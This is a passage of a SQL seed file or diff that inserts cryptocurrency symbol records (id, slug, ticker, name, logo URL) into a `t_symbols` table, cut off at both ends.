'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tagz-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3325, 'nodecoin', 'NODC', 'NodeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/nodecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3326, 'gexan', 'GEX', 'Gexan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gexan.png', NULL); +INSERT INTO `t_symbols` VALUES (3327, 'eryllium', 'ERY', 'Eryllium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eryllium.png', NULL); +INSERT INTO `t_symbols` VALUES (3328, 'dashgold', 'DSG', 'dashgold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dashgold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3329, 'orium', 'ORM', 'ORIUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3330, 'build-finance', 'BUILD', 'BUILD Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/build-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (3331, 'electrumdark', 'ELD', 'Electrum Dark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electrumdark.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3332, 'australia-cash', 'AUS', 'Australia Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/australia-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (3333, 'lens-platform', 'LENS', 'LENS Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lens-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (3334, 'poseidon-quark', 'POSQ', 'Poseidon Quark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poseidon-quark.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3335, 'geertcoin', 'GEERT', 'GeertCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geertcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3336, '404', '404', '404', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/404.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3337, 'blockburn', 'BURN', 'BlockBurn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockburn.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3338, 'dietbitcoin', 'DDX', 'dietbitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dietbitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3339, 'mintcoin', 'MINT', 'Mintcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mintcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3340, 'unicoin', 'UNIC', 'UniCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3341, 'zdr', 'ZDR', 'Zloadr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zdr.png', NULL); +INSERT INTO `t_symbols` VALUES (3342, 'cointogo', '2GO', 'CoinToGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cointogo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3343, 'benz', 'BENZ', 'Benz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3344, 'swyft', 'SWYFTT', 'SWYFT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swyft.png', NULL); +INSERT INTO `t_symbols` VALUES (3345, 'magnum', 'MGM', 'Magnum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magnum.png', NULL); +INSERT INTO `t_symbols` VALUES (3346, 'anarchistsprime', 'ACP', 'AnarchistsPrime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anarchistsprime.png', NULL); +INSERT INTO `t_symbols` VALUES (3347, 'kilocoin', 'KLC', 'KiloCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kilocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3348, 'wispr', 'WSP', 'Wispr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wispr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3349, 'dowcoin', 'DOW', 'DOWCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dowcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3350, 'newton-coin-project', 'NCP', 'Newton Coin Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newton-coin-project.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3351, 'qbic', 'QBIC', 'Qbic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoQbic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3352, 'helpico', 'HELP', 'Helpico', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helpico.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3353, 'mgt', 'MGT', 'mgt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mgt.png', NULL); +INSERT INTO `t_symbols` VALUES (3354, 'btctalkcoin', 'TALK', 'BTCtalkcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btctalkcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3355, 'alphabitcoinfund', 'ABC', 'Alphabit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alphabitcoinfund.png', NULL); +INSERT INTO `t_symbols` VALUES (3356, 'azart', 'AZART', 'Azart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/azart.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3357, 'evotion', 'EVO', 'Evotion', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3358, 'abulaba', 'AAA', 'Abulaba', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abulaba.png', NULL); +INSERT INTO `t_symbols` VALUES (3359, 'eltc', 'ELTC2', 'eLTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/eLTCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3360, 'madcoin', 'MDC', 'Madcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/madcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3361, 'idice', 'ICE', 'iDice', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3362, 'steneum-coin', 'STN', 'Steneum Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steneum-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3363, 'elliot-coin', 'ELLI', 'Elliotcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elliot-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3364, 'numus', 'NMS', 'Numus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/NumusCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3365, 'zoomba', 'ZBA', 'Zoomba', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zoomba.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3366, 'dexergi', 'DEXR', 'DEXERGI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dexergi.png', NULL); +INSERT INTO `t_symbols` VALUES (3367, 'ingenuity', 'INGY', 'Ingenuity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ingenuity.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3368, 'trident', 'TRDT', 'Trident Group', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/TrustTheTrident.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3369, 'dystem', 'DTEM', 'Dystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dystem.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3370, 'nitro', 'NOX', 'Nitro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/nitrotoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3371, 'escoro', 'ESC', 'Escroco', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3372, 'sideshift', 'SAI', 'Sai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sideshift.png', NULL); +INSERT INTO `t_symbols` VALUES (3373, 'harmonycoin-hmc', 'HMC', 'HarmonyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmonycoin-hmc.png', NULL); +INSERT INTO `t_symbols` VALUES (3374, 'crevacoin', 'CREVA', 'Crevacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crevacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3375, 'kredsblockchain', 'KREDS', 'Kreds', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kredsblockchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3376, 'spectrum', 'SPT', 'SPECTRUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spectrum.png', NULL); +INSERT INTO `t_symbols` VALUES (3377, 'vectoraic', 'VT', 'Vectoraic Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vectoraic.png', NULL); +INSERT INTO `t_symbols` VALUES (3378, 'ethgas', 'EGAS', 'ETHGAS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/eth_gas.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3379, 'levoplus', 'LVPS', 'LevoPlus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/levoplus.png', NULL); +INSERT INTO `t_symbols` VALUES (3380, 'boostcoin', 'BOST', 'BoostCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boostcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3381, 'visio', 'VISIO', 'Visio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/visio.png', NULL); +INSERT INTO `t_symbols` VALUES (3382, 'satopay', 'STOP', 'SatoPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/satopay.png', NULL); +INSERT INTO `t_symbols` VALUES (3383, 'maecenas', 'ART', 'Maecenas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maecenas.png', NULL); +INSERT INTO `t_symbols` VALUES (3384, 'pioneer-coin', 'PCOIN', 'Pioneer Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pioneer-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3385, 'aeron', 'ARNX', 'Aeron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeron.png', NULL); +INSERT INTO `t_symbols` VALUES (3386, 'cusd', 'CUSD', 'cusd', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cusd.png', NULL); +INSERT INTO `t_symbols` VALUES (3387, 'eph', 'EPH', 'Euphoria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eph.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3388, 'tendies', 'TEND', 'Tendies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tendies.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3389, 'mfit-coin', 'MFIT', 'MFIT Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mfit-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3390, 'speed-mining-service', 'SMS', 'Speed Mining Service', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Speed_Mining.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3391, 'one-token', 'ONE', 'one-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3392, 'bitrent', 'RNTB', 'BitRent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrent.png', NULL); +INSERT INTO `t_symbols` VALUES (3393, 'game-dollors-token', 'GDX', 'game-dollors-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-dollors-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3394, 'stonecoin', 'STONE', 'Stone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stonecoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3395, 'lovewin', 'LOVE', 'lovewin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3396, 'apollo-currency', 'APL', 'Apollon Limassol Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apollo-currency.png', NULL); +INSERT INTO `t_symbols` VALUES (3397, 'bds', 'BDS', 'Borderless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bds.png', NULL); +INSERT INTO `t_symbols` VALUES (3398, 'postoken', 'POS', 'PoSToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/postoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3399, 'ppl', 'PPL', 'Qripplex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ppl.png', NULL); +INSERT INTO `t_symbols` VALUES (3400, 'playercoin', 'PLACO', 'PlayerCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3401, 'credence-coin', 'CRDNC', 'Credence Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/credencecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3402, 'cannacoin', 'CCN', 'CannaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cannacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3403, 'leviar', 'XLC', 'LeviarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leviar.png', NULL); +INSERT INTO `t_symbols` VALUES (3404, 'simmitri', 'SIM', 'Simmitri', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/simmitri.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3405, 'abitshadow-token', 'ABST', 'Abitshadow Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abitshadow-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3406, 'coc-naypyidaw', 'COC', 'coc-naypyidaw', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3407, 'ccl', 'CCL', 'CyClean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccl.png', NULL); +INSERT INTO `t_symbols` VALUES (3408, 'icocalendar', 'ICT', 'ICT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icocalendar.png', NULL); +INSERT INTO `t_symbols` VALUES (3409, 'idol-coin', 'IDOL', 'IDOLCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idol-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3410, 'cap', 'CAP', 'Cap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cap.png', NULL); +INSERT INTO `t_symbols` VALUES (3411, 'yee', 'YEE', 'Yee', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yee.png', NULL); +INSERT INTO `t_symbols` VALUES (3412, 'darcrus', 'DAR', 'Darcrus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darcrus.png', NULL); +INSERT INTO `t_symbols` VALUES (3413, 'degenerator', 'MEME', 'Meme Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/degenerator.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3414, 'gokumarket-credit', 'GMC', 'GokuMarket Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gokumarket-credit.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3415, 'xcom-pay', 'XCOM', 'XCOM Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xcom-pay.png', NULL); +INSERT INTO `t_symbols` VALUES (3416, 'utiop', 'UTI', 'UTI Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utiop.png', NULL); +INSERT INTO `t_symbols` VALUES (3417, 'tierion', 'TNT', 'Tierion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tierion.png', NULL); +INSERT INTO `t_symbols` VALUES (3418, 'ept', 'EPT', 'e-Pocket Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ept.png', NULL); +INSERT INTO `t_symbols` VALUES (3419, 'zozocoin', 'ZZC', 'ZoZoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zozocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3420, 'okbet', 'OKT', 'okbet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okbet.png', NULL); +INSERT INTO `t_symbols` VALUES (3421, 'bounce-token', 'BOT', 'Bounce [old]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bounce-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3422, 'tmb', 'TMB', 'TemboCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tmb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3423, 'dxo', 'DXO', 'Dextro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dxo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3424, 'shade-token', 'SHADE', 'shade-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shade-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3425, 'voco', 'VOCO', 'Provoco Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voco.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3426, 'glasscoin', 'GLS', 'GlassCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/glasscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3427, 'cjs', 'CJS', 'CJs', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3428, 'ebittree-coin', 'EBT', 'Ebittree Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebittree-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3429, 'solarflarecoin', 'SFC', 'SolarFlareCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solarflarecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3430, 'stintcoin', 'STINT', 'Stint', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stintcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3431, 'plat', 'PLAT', 'BitGuild PLAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plat.png', NULL); +INSERT INTO `t_symbols` VALUES (3432, 'bolenum', 'BLN', 'Bolenum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BolenumPlatform.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3433, 'milocoin', 'MILO', 'MiloCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/milocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3434, 'tokoin', 'TOKO', 'Tokoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/tokoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3435, 'bitstar', 'BITS', 'Bitstar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitstar.png', NULL); +INSERT INTO `t_symbols` VALUES (3436, 'bitcash', 'BITC', 'BitCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3437, 'versus', 'VSU', 'VERSUS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/versus.png', NULL); +INSERT INTO `t_symbols` VALUES (3438, 'daostack', 'GEN', 'DAOstack', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daostack.png', NULL); +INSERT INTO `t_symbols` VALUES (3439, 'trocaninja', 'TNJ', 'TrocaNinja', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trocaninja.png', NULL); +INSERT INTO `t_symbols` VALUES (3440, 'phonecoin', 'PHON', 'PhoneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phonecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3441, 'yffc-finance', 'YFFC', 'yffc.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yffc-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (3442, 'bartertrade', 'BART', 'BarterTrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bartertrade.png', NULL); +INSERT INTO `t_symbols` VALUES (3443, 'arr', 'ARR', 'Arround.io', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arr.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3444, 'bitalphacoin', 'BAC', 'BitAlphaCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3445, 'brc', 'BRC', 'Bryllite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bryllite_.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3446, 'cybereits', 'CRE', 'Cybereits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybereits.png', NULL); +INSERT INTO `t_symbols` VALUES (3447, 'dynamiccoin', 'DMC', 'DynamicCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamiccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3448, 'ino-coin', 'INO', 'Ino Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ino-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3449, 'lcschain', 'LCS', 'LcsChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lcschain.png', NULL); +INSERT INTO `t_symbols` VALUES (3450, 'mental-health-coin', 'MENTAL', 'mental-health-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mental-health-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3451, 'epcloud', 'EPC', 'epcloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epcloud.png', NULL); +INSERT INTO `t_symbols` VALUES (3452, 'icolcoin', 'ICOL', 'Icolcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icolcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3453, 'ethereum-wizard', 'ETHW', 'Ethereum wizard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-wizard.png', NULL); +INSERT INTO `t_symbols` VALUES (3454, 'peoplecoin', 'MEN', 'PeopleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peoplecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3455, 'romchain', 'ROMTV', 'ROMTV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/romchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3456, 'ethortoken', 'ETR', 'Ethor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethortoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3457, 'aichain-token', 'AIT', 'AICHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aichain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3458, 'joy-coin', 'JOY', 'Joy Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3459, 'virtual-payment-coin', 'VPC', 'Virtual Payment Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virtual-payment-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3460, 'king', 'KING', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/thekingdom.png', NULL); +INSERT INTO `t_symbols` VALUES (3461, 'artbyte', 'ABY', 'ArtByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artbyte.png', NULL); +INSERT INTO `t_symbols` VALUES (3462, 'qlm', 'QLM', 'QLM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qlm.png', NULL); +INSERT INTO `t_symbols` VALUES (3463, 'sdcoin', 'SDC', 'SDCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3464, 'starchain', 'STC', 'StarChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3465, 'tokyo', 'TOKC', 'Tokyo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/TOKYOCOIN.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3466, 'lightforge', 'LTFG', 'Lightforge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightforge.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3467, 'work-place-coin', 'WOPC', 'Work Place Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/work-place-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3468, 'hatch', 'HATCH', 'Hatch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hatch.png', NULL); +INSERT INTO `t_symbols` VALUES (3469, 'withcoin', 'WTHC', 'Withcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/withcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3470, 'one-world-coin', 'OWO', 'One World Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-world-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3471, 'dogethereum', 'DOGX', 'Dogethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogethereum.png', NULL); +INSERT INTO `t_symbols` VALUES (3472, 'allcoin', 'ALC', 'Allcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/allcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3473, 'joytoken', 'JOY', 'JoyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joytoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3474, 'vestarin', 'VST', 'VST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vestarin.png', NULL); +INSERT INTO `t_symbols` VALUES (3475, 'c2x', 'CTX', 'C2X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c2x.png', NULL); +INSERT INTO `t_symbols` VALUES (3476, 'diamond-1', 'DIAMOND', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/thekingdom.png', NULL); +INSERT INTO `t_symbols` VALUES (3477, 'hb', 'HB', 'hb', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3478, 'ldimension', 'LDS', 'L-Dimension', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ldimension.png', NULL); +INSERT INTO `t_symbols` VALUES (3479, 'sdgo', 'SDGO', 'SanDeGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdgo.png', NULL); +INSERT INTO `t_symbols` VALUES (3480, 'starcointv', 'KST', 'StarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcointv.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3481, 'mogutech', 'MOGX', 'Mogu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mogx.png', NULL); +INSERT INTO `t_symbols` VALUES (3482, '360-tribe', 'TRIBE', '360 Tribe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/360-tribe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3483, 'kazestream', 'STREAM', 'KazeSTREAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kazestream.png', NULL); +INSERT INTO `t_symbols` VALUES (3484, 'athero', 'THO', 'Athero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/athero.png', NULL); +INSERT INTO `t_symbols` VALUES (3485, 'spirittoken', 'SPIRIT', 'Spirit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spirittoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3486, 'united-emirate-coin', 'UEC', 